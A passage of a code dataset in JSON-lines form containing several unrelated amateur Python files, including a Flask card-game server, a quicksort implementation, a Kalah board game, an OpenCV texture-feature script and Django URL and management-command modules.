socketio.emit('yaniv', score, room=connected_users[p])\n return {}\n\n@app.route(\"/get_card_deck\",methods=[\"POST\", \"GET\"])\ndef get_card_deck():\n global open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n card = game.pull_card_from_deck(data['username'])\n is_yaniv = game.is_yaniv(data['username'])\n players = game.get_players_names()\n next_player = players.index(data['username'])\n for p in players:\n socketio.emit('update_center',{ 'current_player':players[(next_player+1) % 4], \n 'last_cards' : game.last_cards_thrown, 'pile' : game.pile[-5::]},\n room=connected_users[p])\n return{'card' : card, 'is_yaniv' : is_yaniv}\n\n \n@app.route(\"/get_card_pile\", methods=[\"POST\", \"GET\"])\ndef get_card_pile():\n global open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n game.pull_card_from_pile(data['username'], data['card'])\n is_yaniv = game.is_yaniv(data['username'])\n players = game.get_players_names()\n next_player = players.index(data['username'])\n for p in players:\n socketio.emit('update_center',{ 'current_player':players[(next_player+1) % 4], \n 'last_cards' : game.last_cards_thrown, 'pile' : game.pile[-5::]},\n room=connected_users[p])\n return{'is_yaniv' : is_yaniv}\n\n\n@app.route(\"/check_legal_move\", methods=[\"POST\", \"GET\"])\ndef check_legale_move():\n global open_games_ins\n data = json.loads(request.data)\n game:Game = open_games_ins[data['gameId']]\n legalety = game.check_legal_move(data['username'], data['cards'])\n return {'legalety' : legalety}\n \nif __name__ == \"__main__\":\n # game_test = Game(Player('arik1'), 1)\n # game_test.add_player(Player('arik2'))\n # game_test.add_player(Player('arik3'))\n # game_test.add_player(Player('arik4'))\n # game_test.reset_game()\n # for p in game_test.players:\n # print(p.hand)\n socketio.run(app, debug=True,port=5001)","repo_name":"arikost/YanivCardGame","sub_path":"flask-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1820000843","text":"from dot import Dot\nimport random\nfrom copy import deepcopy\n\nclass Population():\n def __init__(self, environment_width, environment_height, goal_x, goal_y, goal_radius, game_display, population_size = 500):\n self.environment_width = environment_width\n self.environment_height = environment_height\n self.game_display = game_display\n\n self.goal_x = goal_x\n self.goal_y = goal_y\n self.goal_radius = goal_radius\n\n self.population_size = population_size\n self.population = [Dot(environment_width, environment_height, goal_x, goal_y, goal_radius, game_display) for i in range(population_size)]\n\n self.generation = 1\n self.min_step = 450\n \n def update(self):\n for dot in self.population:\n if dot.brain.step > self.min_step:\n dot.dead = True\n dot.update()\n \n def are_all_dots_dead(self):\n for dot in self.population:\n if not dot.dead:\n return False\n return True\n\n def natural_selection(self, fitness_sum):\n new_dots = []\n best_dot = self.get_best_dot()\n if (best_dot.reach_goal):\n self.min_step = best_dot.brain.step\n new_dots.append(best_dot.get_offspring())\n new_dots[0].is_best = True\n\n for i in range(self.population_size - 1): # since we added the best dot\n parent = self.select_parent(fitness_sum)\n new_dots.append(parent.get_offspring())\n \n self.population = new_dots\n self.generation += 1\n\n def calculate_fitness_sum(self):\n fitness_sum = 0\n for dot in self.population:\n fitness_sum += dot.calculate_fitness()\n return fitness_sum\n\n def select_parent(self, fitness_sum):\n value = random.uniform(0, fitness_sum)\n running_sum = 0\n for dot in self.population:\n running_sum += dot.calculate_fitness()\n if running_sum > value:\n return dot\n\n def mutate_offsprings(self):\n for dot in self.population[1:]: # do not mutate previous gen best dot\n dot.brain.mutate()\n\n def get_best_dot(self):\n max_fitness = 0\n best_dot = None\n\n for dot in self.population:\n fitness = dot.calculate_fitness()\n if fitness > max_fitness:\n best_dot = dot\n max_fitness = fitness\n\n return best_dot\n","repo_name":"thanusiv/A.I-Dots","sub_path":"population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11280857202","text":"import numpy as np \r\n\r\n\r\nx = np.arange(1024).reshape(2,512)\r\n\r\nx_split = []\r\nfor i in range(x.shape[0]):\r\n split1 = np.split(x[i], 8) #8个一组\r\n a = [] \r\n for j in range(8):\r\n s = np.split(split1[j], 8)#取8组\r\n a.append(s)\r\n x_split.append(a)\r\n #print(len(a))\r\nprint(len(x_split),len(x_split[0]),len(x_split[1]))","repo_name":"zuochen33/DRSnet","sub_path":"Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36715600820","text":"import cv2\r\nimport pydicom\r\nimport math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image, ImageDraw\r\nimport pyefd\r\nimport csv\r\nfrom skimage.feature import greycomatrix, greycoprops\r\nimport pywt\r\nfrom skimage import io\r\nfrom MLP_classifier import MLP\r\n\r\n\r\n #ds=pydicom.dcmread('\\\\DICOM\\\\canvas\\\\13086')\r\n\r\n#path = \"'E:\\\\DICOM\\\\canvas\\\\img.png'\"\r\nimg = cv2.imread('E:\\\\DICOM\\\\canvas\\\\roi.png')\r\n#gray = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\r\n#thresh= 10\r\n#thresh, binary = cv2.threshold(gray, thresh, maxval=255, type=cv2.THRESH_BINARY) \r\n#thresh, mask = cv2.threshold(gray, thresh, maxval=1, type=cv2.THRESH_BINARY)\r\n#origin = cv2.imread('E:\\\\DICOM\\\\canvas\\\\blur.png', cv2.IMREAD_GRAYSCALE)\r\n#adjusted = origin*mask\r\n #cv2.imshow(\"ADJUSTED\",adjusted)\r\n #calculate glcm\r\nglcm = greycomatrix(img, \r\n distances=[1, 2], \r\n angles=[0, np.pi/4, np.pi/2, 3*np.pi/4],\r\n symmetric=True,\r\n normed=True)\r\nglcm_br = glcm[1:, 1:, :, :] #remove black pixel\r\nglcm_br_norm = np.true_divide(glcm_br, glcm_br.sum(axis=(0, 1))) #hình thức hóa ma trận glcm\r\nnp.set_printoptions(threshold=1000, precision=4) #quy định cách biểu diễn số dạng float, precision = 4 nghĩa là lấy 4 chữ số sau dấu phẩy\r\ncontrast = greycoprops(glcm_br_norm, 'contrast')[0][0]\r\nenergy = greycoprops(glcm_br_norm, 'energy')[0][0]\r\nhomogeneity = greycoprops(glcm_br_norm, 'homogeneity')[0][0]\r\ncorrelation = greycoprops(glcm_br_norm, 'correlation')[0][0]\r\ndissimilarity = greycoprops(glcm_br_norm, 'dissimilarity')[0][0]\r\nASM = greycoprops(glcm_br_norm, 'ASM')[0][0] \r\npixels = cv2.countNonZero(img)\r\ncnts = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)#lấy tất cả điểm trên countour. cv2.CHAIN_APPROX_SIMPLE: hạn chế số điểm trên countour\r\n\r\nif len(cnts) == 2: #phan biet hinh 2d va 3d\r\n cnts = cnts[0] \r\nelse:\r\n cnts = cnts[1] \r\ntotal = 0\r\nfor c in cnts:\r\n x,y,w,h = cv2.boundingRect(c)\r\n mask = np.zeros(img.shape, dtype=np.uint8)\r\n cv2.fillPoly(mask, [c], [255,255,255])\r\n mask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\r\n pixels = cv2.countNonZero(mask)\r\n total += pixels\r\n dt=pixels\r\n #dt = pixels*ds.PixelSpacing[0]*ds.PixelSpacing[1]\r\n s = round(dt, 2)\r\n #cv2.putText(img, '{}'.format(s)+' mm2', (x,y - 25), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255,255,255), 1)\r\nfor c in cnts: \r\n \t# compute the center of the contour\r\n M = cv2.moments(c)\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = int(M[\"m01\"] / M[\"m00\"])\r\n l= len(c)\r\n\t# draw the contour and center of the shape on the image\r\n color = cv2.cvtColor(adjusted,cv2.COLOR_GRAY2RGB)\r\n cv2.drawContours(color, [c], -1, (255, 255, 255), 1)\r\n cv2.circle(color, (cX, cY), 3, (0, 0, 255), -2)\r\n #cv2.putText(adjusted, \"center\", (cX - 20, cY - 20),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\r\n cv2.imshow('contour',color)\r\n #cv = len(c)*ds.PixelSpacing[0]\r\n cv = len(c)\r\n cv= round(cv, 2)\r\n #cv2.putText(img, '{}'.format(cv)+' mm', (x,y - 55), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255,255,255), 1)\r\n #print(len(c))# len(c)xPixelSpacing = chu vi\r\nb = []\r\nc0= (cv**2)/(dt)\r\n #phan tich fourier\r\nN = 0\r\nfor i in range(0, len(c)): #chạy từ 0 đến len(c)\r\n N = N + 1\r\n p= cnts[0][i]\r\n d = math.sqrt(((p[0][0]-cX)**2)+((p[0][1]-cY)**2))\r\n d = round(d, 8)\r\n #a.append(i)\r\n b.append(d)\r\nfor i in range(0,len(b)):\r\n b[i] = str(b[i])\r\n with open('C:\\\\Users\\\\ADMIN\\\\Downloads\\\\csv\\\\fft.csv', mode='a+',newline='') as train:\r\n train = csv.writer(train)\r\n train.writerow([b[i]]) \r\n #fourier\r\nfs = N\r\n \r\n \r\n \r\n \r\nan = bn = cn = dn = 0\r\ncoeffs = []\r\norder=100\r\nfor c in cnts:\r\n coeffs=pyefd.elliptic_fourier_descriptors(np.squeeze(c), order, normalize=False)\r\n for i in range(order):\r\n an = an+coeffs[i][0]\r\n an = abs(an)\r\n bn = bn+coeffs[i][1]\r\n bn = abs(bn)\r\n cn = cn+coeffs[i][2]\r\n cn = abs(cn)\r\n dn = dn+coeffs[i][3]\r\n dn = abs(dn)\r\nan=an/order\r\nbn=bn/order\r\ncn=cn/order\r\ndn=dn/order\r\nwith open('C:\\\\Users\\\\ADMIN\\\\Downloads\\\\csv\\\\test.csv', mode='a+',newline='') as train:\r\n train = csv.writer(train)\r\n train.writerow([dt,cv,c0, bn,cn, contrast, energy, homogeneity,dissimilarity, ASM])\r\n","repo_name":"cucphuongc/testgit","sub_path":"assessment.py","file_name":"assessment.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17368539876","text":"import sys\n\nimport numpy as np\nimport nms\nimport cv2\n#import time\n\nimport detect_util\nimport math\n\ndef padProcess(image, in_w, in_h):\n oriSize = image.shape\n sz_ratio = in_w/float(in_h)\n if oriSize[1] / float(oriSize[0]) >= sz_ratio:\n newHeight = int(math.ceil(oriSize[1]/sz_ratio))\n imagePad = np.zeros((newHeight, oriSize[1], 3), np.uint8)\n else:\n newWidth = int(math.ceil(oriSize[0]*sz_ratio))\n imagePad = np.zeros((oriSize[0], newWidth, 3), np.uint8)\n\n imagePad[0:oriSize[0], 0:oriSize[1], :] = image\n return imagePad\n\n# Imagepad,resize, simple HWC->CHW and mean subtraction/scaling\n# returns tensor ready for fpga execute\n\ndef det_preprocess(image_ori, resize_w, resize_h, dest):\n input_scale_ = 1.0\n input_mean_value_ = 128\n imagePad = padProcess(image_ori, resize_w, resize_h)\n image = cv2.resize(imagePad,(resize_w, resize_h), interpolation = cv2.INTER_CUBIC)\n image = image.astype(np.float)\n szs = (float(imagePad.shape[0])/float(image.shape[0]), float(imagePad.shape[1])/float(image.shape[1]))\n dest[:] = np.transpose(image,(2,0,1))\n dest -= input_mean_value_\n dest *= input_scale_\n dest = np.expand_dims(dest,0)\n return szs\n\n \n\n# takes dict of two outputs from XDNN, pixel-conv and bb-output\n# returns bounding boxes\ndef det_postprocess(pixel_conv, bb, sz, szs):\n res_stride_=4\n det_threshold_=0.7\n nms_threshold_=0.3\n expand_scale_=0.0\n pixel_conv_tiled = detect_util.GSTilingLayer_forward(pixel_conv, 8)\n prob = detect_util.SoftmaxLayer_forward(pixel_conv_tiled)\n bb = detect_util.GSTilingLayer_forward(bb, 8)\n prob = prob[0,1,...]\n bb = bb[0, ...]\n gx_shape = bb.shape[2]*res_stride_\n gy_shape = bb.shape[1]*res_stride_\n gy = np.arange(0, gy_shape, res_stride_)\n gx = np.arange(0, gx_shape, res_stride_)\n [x, y] = np.meshgrid(gx, gy)\n bb[0, :, :] = bb[0, :, :] + x\n bb[0, :, :] = bb[0, :, :] * szs[1]\n bb[1, :, :] = bb[1, :, :] + y\n bb[1, :, :] = bb[1, :, :] * szs[0]\n bb[2, :, :] = bb[2, :, :] + x\n bb[2, :, :] = bb[2, :, :] * szs[1]\n bb[3, :, :] = bb[3, :, :] + y\n bb[3, :, :] = bb[3, :, :] * szs[0]\n bb = np.reshape(bb, (4, -1)).T\n prob = np.reshape(prob, (-1, 1))\n bb = bb[prob.ravel() > det_threshold_, :]\n prob = prob[prob.ravel() > det_threshold_, :]\n rects = np.hstack((bb, prob))\n keep = nms.nms(rects, nms_threshold_)\t\n rects = rects[keep, :]\n return rects\n\n","repo_name":"PenroseZ/vitis-ai","sub_path":"examples/DPUCADX8G/face_detect/detect_ap2.py","file_name":"detect_ap2.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74115873362","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/12/5 23:42\n# @Author : liuhu\n# @Site : \n# @File : quicksort.py\n# @Software: PyCharm\n# @github :https://github.com/Max-Liuhu\ndef quicksort(theSeq, first, last): # average: O(nlog(n))\n \"\"\"\n quicksort :也是分而治之,但是和归并排序不同的是,采用选定主元(pivot)而不是从中间\n 进行数组划分\n 1. 第一步选定pivot用来划分数组,pivot左边元素都比它小,右边元素都大于等于它\n 2. 对划分的左右两边数组递归,直到递归出口(数组元素数目小于2)\n 3. 对pivot和左右划分的数组合并成一个有序数组\n \"\"\"\n if first < last:\n pos = partitionSeq(theSeq, first, last)\n # 对划分的子数组递归操作\n quicksort(theSeq, first, pos - 1)\n quicksort(theSeq, pos + 1, last)\n\n\ndef partitionSeq(theSeq, first, last):\n \"\"\" 快排中的划分操作,把比pivot小的挪到左边,比pivot大的挪到右边\"\"\"\n pivot = theSeq[first]\n print('before partitionSeq', theSeq)\n\n left = first + 1\n right = last\n\n while True:\n # 找到第一个比pivot大的\n while left <= right and theSeq[left] < pivot:\n left += 1\n\n # 从右边开始找到比pivot小的\n while right >= left and theSeq[right] >= pivot:\n right -= 1\n\n if right < left:\n break\n else:\n theSeq[left], theSeq[right] = theSeq[right], theSeq[left]\n\n # 把pivot放到合适的位置\n theSeq[first], theSeq[right] = theSeq[right], theSeq[first]\n\n print('after partitionSeq {}: {}\\t'.format(theSeq, pivot))\n return right # 返回pivot的位置\n\n\ndef test_partitionSeq():\n l = [0,1,2,3,4]\n assert partitionSeq(l, 0, len(l)-1) == 0\n l = [4,3,2,1,0]\n assert partitionSeq(l, 0, len(l)-1) == 4\n l = [2,3,0,1,4]\n assert partitionSeq(l, 0, len(l)-1) == 2\n\ntest_partitionSeq()\n\n\ndef test_quicksort():\n def _is_sorted(seq):\n for i in range(len(seq)-1):\n if seq[i] > seq[i+1]:\n return False\n return True\n\n from random import randint\n for i in range(100):\n _len = randint(1, 100)\n to_sort = []\n for i in range(_len):\n to_sort.append(randint(0, 100))\n quicksort(to_sort, 0, len(to_sort)-1) # 注意这里用了原地排序,直接更改了数组\n print(to_sort)\n assert _is_sorted(to_sort)\n\ntest_quicksort()\n\n\n# 利用快排中的partitionSeq操作,我们还\n# 能实现另一个算法,nth_element,快速查\n# 找一个无序数组中的第k大元素\ndef nth_element(seq, beg, end, k):\n if beg == end:\n return seq[beg]\n pivot_index = partitionSeq(seq, beg, end)\n if pivot_index == k:\n return seq[k]\n elif pivot_index > k:\n return nth_element(seq, beg, pivot_index-1, k)\n else:\n return nth_element(seq, pivot_index+1, end, k)\n\ndef test_nth_element():\n from random import shuffle\n n = 10\n l = list(range(n))\n shuffle(l)\n print(l)\n for i in range(len(l)):\n assert nth_element(l, 0, len(l)-1, i) == i\n\ntest_nth_element()","repo_name":"CuteSmartTiger/mastering_python","sub_path":"python_datastructures/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34250920695","text":"def disp_board(p1, p2, bMap, turn):\n \"\"\"\ntakes dicts of values for each player and turn indicator (int = 1 or 2)\nprints board\n \"\"\"\n toprow = p2 if turn == 1 else p1\n bottomrow = p1 if turn == 1 else p2\n for x, y in reversed(sorted(bMap.items())):\n print((('p2 ' + x if turn == 1 else 'p1 ' + x) if x == 'store' else ' ') + '(' + repr(toprow[y]).rjust(2) + ')', end = ' ')\n print('------------')\n print('------------ ', end = '')\n for x, y in (sorted(bMap.items())):\n print((('p1 ' + x if turn == 1 else 'p2 ' + x) if x == 'store' else x) + '(' + repr(bottomrow[y]).rjust(2) + ')', end = ' ')\n print('\\n')\n\ndef place_bean(p1, p2, turn, opp, position, remaining, results):\n \"\"\"\ninput\np1, p2 dicts => bin values\nturn int => (1 or 2) for player\nopp bool => True if opponent's side\nposition int => current bin position\nremaining int => beans remaining to be placed\noutput\nresults dict\nresults['placedcnt'] int => total placed\nresults['goagain'] bool => True if player gets another turn for finishing in store\nresults['tostore'] bool => True\nresults['p1'] dict => p1 dict\nresults['p2'] dict => p2 dict\n \"\"\"\n\n if (turn == 1 and opp == False) or (turn == 2 and opp == True):\n p1[position] += 1\n else:\n p2[position] += 1\n\n remaining -= 1\n if 'placedcnt' in results:\n results['placedcnt'] += 1\n else:\n results['placedcnt'] = 1\n\n if position == 7 and opp == False: #go again if store and final iteration\n results['goagain'] = True\n else:\n results['goagain'] = False\n if remaining == 0 and opp == False: #check to see if send pieces to store\n if turn == 1 and p1[position] == 1 and p2[7 - position] > 0:\n results['tostore'] = True\n results['tostorecnt'] = (1 + p2[7 - position])\n p1[7] += results['tostorecnt']\n p1[position] = 0\n p2[7-position] = 0\n elif turn == 2 and p2[position] == 1 and p1[7 - position] > 0:\n results['tostore'] = True\n results['tostorecnt'] = (1 + p1[7 - position])\n p2[7] += results['tostorecnt']\n p2[position] = 0\n p1[7-position] = 0\n\n results['p1'] = p1\n results['p2'] = p2\n\n if remaining > 0: #recursive call\n# print(p1,p2)\n if opp == True and position == 6:\n nextPos = 1\n opp = False\n elif opp == False and position == 7:\n nextPos = 1\n opp = True\n else:\n nextPos = position + 1\n\n results = place_bean(p1, p2, turn, opp, nextPos, remaining, results)\n\n return results\n\ndef remove_beans(pos, bVals):\n#given a position and a dict, remove beans for position and return\n extracted = bVals[pos]\n bVals[pos] = 0\n return extracted\n\ndef is_game_over(p1, p2):\n# return true if either side has no beans\n sumP1 = sum([p1[x] for x in p1.keys() if x < 7])\n sumP2 = sum([p2[x] for x in p2.keys() if x < 7])\n# return True\n return sumP1 == 0 or sumP2 == 0\n\ndef declare_winner(p1, p2):\n sumBinsP1 = sum([p1[x] for x in p1.keys() if x < 7])\n storeP1 = p1[7]\n sumBinsP2 = sum([p2[x] for x in p2.keys() if x < 7])\n storeP2 = p2[7]\n if sumBinsP1 == 0:\n empty = '1'\n moved = '2'\n movedCnt= str(sumBinsP2)\n else:\n empty = '2'\n moved = '1'\n movedCnt= str(sumBinsP1)\n\n print('All bins are empty for player', empty)\n print('Remaining', movedCnt, 'beans moved to player', moved, 'store')\n print('Final Tally:')\n print('Player 1:', str(sumBinsP1 + storeP1))\n print('Player 2:', str(sumBinsP2 + storeP2))\n if (sumBinsP1 + storeP1) == (sumBinsP2 + storeP2):\n print('Game is a tie!')\n elif (sumBinsP1 + storeP1) > (sumBinsP2 + storeP2):\n print('Player 1 wins!')\n else:\n print('Player 2 wins!')\n\ndef is_valid_response(r, bMap, bVals):\n# make sure response can be mapped and corresponds to an entry with beans\n if r == '':\n return False\n elif len(r) > 1 or r not in bMap:\n print('Error: must enter a letter between a and f')\n return False\n elif bVals[bMap[r]] <= 0:\n print('Error: must choose a bin with one or more beans')\n return False\n else:\n return True\n\n\nif __name__ == '__main__':\n#init values\n p1BinValues = {1:4,2:4,3:4,4:4,5:4,6:4,7:0}\n p2BinValues = {1:4,2:4,3:4,4:4,5:4,6:4,7:0}\n binMap = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6, 'store':7}\n turn = 1\n opp = False\n position = 0\n remaining = 0\n results = {}\n\n\n print('\\n Welcome to Kalah')\n\n while not is_game_over(p1BinValues, p2BinValues):\n response = ''\n while not is_valid_response(response, binMap, p1BinValues if turn == 1 else p2BinValues):\n print('\\n')\n disp_board(p1BinValues, p2BinValues, binMap, turn)\n response = input('Player ' + str(turn) + ': Choose a bin a through f: ')\n response = str(response).lower()\n position = binMap[response]\n remaining = remove_beans(position, p1BinValues if turn == 1 else p2BinValues)\n results = {}\n results = place_bean(p1BinValues, p2BinValues, turn, opp, position + 1, remaining, results)\n print(str(results['placedcnt']), 'beans placed for player', str(turn))\n if 'tostore' in results:\n print(str(results['tostorecnt']), 'additional beans sent to store')\n if results['goagain'] == True:\n print('Player', str(turn), 'finished in own store')\n print('Player', str(turn), 'goes again')\n else:\n# switch turns\n if turn == 1:\n turn = 2\n else:\n turn = 1\n opp = False\n p1BinValues = results['p1']\n p2BinValues = results['p2']\n\n\n declare_winner(p1BinValues, p2BinValues)\n print('Thanks for playing!')\n","repo_name":"morelofthestory/kalah","sub_path":"Kalah.py","file_name":"Kalah.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7563091752","text":"from collections import Counter\nfrom email.message import EmailMessage\nimport time\nimport subprocess\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db.models import Exists, OuterRef\nfrom django.utils import timezone\n\nfrom registrations.models import Registration, ScannerAction\nfrom registrations.actions.emails import envoyer_email\n\n\nDEFAULT_POLLING_TIME = 5\n\n\nclass Command(BaseCommand):\n help = \"Signale (via du texte ou un email) quand un billet spécifique a été vu.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\"ticket_id\", type=int)\n parser.add_argument(\n \"-q\",\n \"--quiet\",\n action=\"store_true\",\n help=\"Ne pas écrire l'alerte sur la sortie erreur standard.\",\n )\n parser.add_argument(\n \"-s\", \"--send-to\", action=\"append\", dest=\"recipients\", default=[]\n )\n parser.add_argument(\n \"-p\", \"--polling-time\", type=int, default=DEFAULT_POLLING_TIME\n )\n\n def handle(self, ticket_id, quiet, recipients, polling_time, **kwargs):\n try:\n ticket = Registration.objects.get(id=ticket_id)\n except Registration.DoesNotExist:\n raise CommandError(\"Billet introuvable.\")\n nom = f\"{ticket.full_name} ({ticket.event.name})\"\n\n events = ticket.events.all()\n seen = {e.id for e in events}\n c = Counter(e.get_type_display() for e in events)\n decomptes = \" / \".join(f\"{k}={v}\" for k, v in c.items())\n\n if not quiet:\n self.stdout.write(f\"Alertes pour {nom}\")\n self.stdout.write(f\"Événements initiaux : {decomptes}\\n\")\n\n while True:\n time.sleep(polling_time)\n actions = ticket.events.exclude(id__in=seen).order_by(\"time\")\n if actions:\n description = \"\\n\".join(\n f\"[{a.time.strftime('%H:%M')}] Action {a.get_type_display()}\"\n for a in actions\n )\n\n if len(actions) > 1:\n intro = f\"Les actions suivantes ont été effectées\"\n else:\n intro = f\"L'action suivante a été effectué\"\n\n body = f\"{intro}\\n{description}\"\n\n if not quiet:\n self.stdout.write(f\"{description}\\n\")\n\n for r in recipients:\n envoyer_email(\n recipient=r,\n subject=f\"Nouvelles actions pour {nom}\",\n body=body,\n )\n","repo_name":"lafranceinsoumise/scanner","sub_path":"registrations/management/commands/alerter_billet.py","file_name":"alerter_billet.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"22419789425","text":"\"\"\"\nGiven a non-negative integer x, compute and return the square root of x.\n\nSince the return type is an integer, the decimal digits are truncated, and only the integer part of the result is returned.\n\nNote: You are not allowed to use any built-in exponent function or operator, such as pow(x, 0.5) or x ** 0.5.\n\"\"\"\nimport unittest\nimport math\n\n\nclass solution0:\n def mySqrt_math(self, x: int) -> int:\n if x < 2:\n return x\n left = int(math.exp(0.5*math.log(x)))\n right = left + 1\n return left if right * right > x else right\n\n # Complexity Analysis\n #\n # Time complexity : O(1).\n #\n # Space complexity : O(1).\n\n def mySqrt(self, x: int) -> int:\n if x == 0 or x == 1:\n return x\n\n i = 1\n res = 1\n while res <= x:\n i += 1\n res = i * i\n return i - 1\n\n\nclass solution1:\n def mySqrt(self, x: int) -> int: # Binary search\n # For x >= 2, the square root is always smaller than x/2 and larger than 0 : 0 < a < x/2.\n if x < 2:\n return x\n l, r = 2, x//2\n while l <= r:\n mid = l + (r-l)//2\n num = mid*mid\n if num > x:\n r = mid - 1\n elif num < x:\n l = mid + 1\n else:\n return mid\n return r\n\n # Time complexity: O(log N)\n # T(N) = aT(N/b) + f(N^d), a = 1, b = 2, d=0, log_b a=d\n # critical = log_b a = log(# sub-problems)/log(relative sub-problem size.)\n # hence dealing with case 2 result in O(n^(log_b a)log^(d+1)N )\n # Space complexity: O(1)\n\n # Case 1: f(N^d log^k n) is the work to split/recombine a sub_problem. when d < critical\n # upper bounded by a lesser exponent polynomial. ~~~\n # T(N) = O(n^{log_b a})\n\n # Case 2: d = log_b a, T(N) = O(n^d log^(k+1) N)\n\n # Case 3: d > log_b a, T(N) = O(n^d)\n\n\nclass Testsolution0(unittest.TestCase):\n def test0(self):\n x = 4\n out = 2\n self.assertEqual(solution0().mySqrt(x), out)\n\n def test1(self):\n x = 8\n out = 2\n self.assertEqual(solution0().mySqrt(x), out)\n\n def test2(self):\n x = 90\n out = 9\n self.assertEqual(solution0().mySqrt(x), out)\n\n\nclass Testsolution1(unittest.TestCase):\n def test0(self):\n x = 4\n out = 2\n self.assertEqual(solution1().mySqrt(x), out)\n\n def test1(self):\n x = 8\n out = 2\n self.assertEqual(solution1().mySqrt(x), out)\n\n def test2(self):\n x = 90\n out = 9\n self.assertEqual(solution1().mySqrt(x), out)\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"Movahe/Leetcode-problems-sovled","sub_path":"69 Sqrt(x).py","file_name":"69 Sqrt(x).py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"30621935755","text":"\nfrom rest_framework import serializers\n\nfrom .models import Servicio\n\nclass ServicioSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Servicio\n\t\tfields = ('id','referencia','nombre','apellido','precio','nuevo','descripcion','image','fecha')\n\t\tread_only_fields = ('fecha',)","repo_name":"tanzawua/sinoes-mecorto-un-huevo","sub_path":"db_app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27474213424","text":"#for finding the missing metadata(202012)\n\nimport csv\n\nclade_f= open('C:/Users/user/Desktop/生專/python/chosen tsv/name_clade_mon_loc.tsv','r',encoding='utf-8')\nclade_tsv =csv.reader(clade_f, delimiter=\"\\t\")\ndone=open('C:/Users/user/Desktop/生專/python/find virus type/clade_meta_search.tsv','w',encoding='utf-8')\nx=0\nfor line in clade_tsv:\n # if line[0]==\"hCoV-19/England/NORW-F6674/2020\":\n # x+=1\n # elif line[0]==\"hCoV-19/England/QEUH-DD3977/2021\":\n # break\n\n if line[1]==\"England\":\n done.write(line[0]+'\\n')\n\n","repo_name":"cnwcoding/cov-19mutaion","sub_path":"找clade的metadata.py","file_name":"找clade的metadata.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24019941305","text":"from django.urls import path\nfrom . import views\n\napp_name='admins'\n\nurlpatterns = [\n path('', views.admindashbord, name=\"admindash\"),\n path('branch', views.branch_list, name='branch'),\n\n # add branch \n path('addbranch', views.add_branch, name=\"addbranch\"),\n path('branchcourse/', views.branch_course, name=\"branchcourse\"),\n\n # teacher \n path('teachers', views.teachers, name=\"teachers\"),\n path('teachers_list/', views.teachers_list, name=\"teachers_list\"),\n path('add_teacher', views.add_teacher, name=\"addteacher\"),\n path('deleteteacher/',views.delete_teacher,name=\"deleteteacher\"),\n\n # student\n\n path('students', views.students,name=\"students\"),\n path('coursestudents/', views.students_by_courses, name=\"coursestudents\"),\n path('studentslist', views.students_list, name=\"studentslist\"),\n path('addstudent', views.add_student, name=\"addstudent\"),\n path('editstudent/', views.edit_student_by_admin, name=\"editstudentadmin\"),\n path('studentbatchlish//', views.studentbatchlish, name=\"studentbatchlish\"),\n # path('deletestudent/',views.delete_student,name=\"deletestudent\"),\n\n \n\n # courses\n path('courses',views.courses,name=\"courses\"),\n path('addcourses',views.add_courses,name=\"addcourses\"),\n path('editcourse/',views.edit_course,name=\"editcourse\"),\n\n # batch\n path('batch', views.batch, name=\"batch\"),\n path('addbatch', views.add_batch, name=\"addbatch\"),\n path('editbatch/',views.edit_batch,name=\"editbatch\"),\n # exams\n\n path('exams', views.exam, name=\"exams\"),\n path('examsadd/', views.exam_add_list, name=\"examsadd\"),\n path('examsaddfirst/', views.exam_add_first, name=\"examsaddfirst\"),\n path('examsaddone/', views.exam_add_one, name=\"examsaddone\"),\n path('examsaddtwo/', views.exam_add_two, name=\"examsaddtwo\"),\n path('savedata/', views.savedata, name=\"savedata\"),\n path('updateQuestion/', views.updateQuestion, name=\"updateQuestion\"),\n path('editQuestiontdata/',views.editQuestiontdata,name=\"editQuestiontdata\"),\n path('editexamdata/',views.editExam,name=\"editexamdata\"),\n\n\n # result\n\n 